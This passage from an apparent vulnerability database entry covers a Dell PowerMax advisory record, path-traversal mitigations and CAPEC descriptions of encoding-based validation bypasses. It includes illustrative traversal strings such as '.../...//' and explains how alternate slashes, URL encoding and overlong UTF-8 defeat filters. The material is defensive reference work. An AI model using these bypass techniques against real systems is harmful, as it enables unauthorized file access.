"type": "WEB",
"url": "https://www.dell.com/support/kbdoc/en-us/000429268/dsa-2026-102-dell-unisphere-for-powermax-and-powermax-eem-security-update-for-multiple-vulnerabilities"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
When the set of filenames is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap provide this capability.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict all access to files within a particular directory.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation
Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59).
Mitigation
Use OS-level permissions and run as a low-privileged user to limit the scope of any successful attack.
Mitigation
If you are using PHP, configure your application so that it does not use register_globals. During implementation, develop your application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
Mitigation
Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.
CAPEC-13: Subverting Environment Variable Values
The adversary directly or indirectly modifies environment variables used by or controlling the target software. The adversary's goal is to cause the target software to deviate from its expected operation in a manner that benefits the adversary.
CAPEC-267: Leverage Alternate Encoding
An adversary leverages the possibility to encode potentially harmful input or content used by applications such that the applications are ineffective at validating this encoding standard.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-72: URL Encoding
This attack targets the encoding of the URL. An adversary can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.
CAPEC-80: Using UTF-8 Encoding to Bypass Validation Logic
This attack is a specific variation on leveraging alternate encodings to bypass validation logic. This attack leverages the possibility to encode potentially harmful input in UTF-8 and submit it to applications not expecting or effective at validating this encoding standard making input filtering difficult. UTF-8 (8-bit UCS/Unicode Transformation Format) is a variable-length character encoding for Unicode. Legal UTF-8 characters are one to four bytes long. However, early version of the UTF-8 specification got some entries wrong (in some cases it permitted overlong characters). UTF-8 encoders are supposed to use the "shortest possible" encoding, but naive decoders may accept encodings that are longer than necessary. According to the RFC 3629, a particularly subtle form of this attack can be carried out against a parser which performs security-critical validity checks against the UTF-8 encoded form of its input, but interprets certain illegal octet sequences as characters.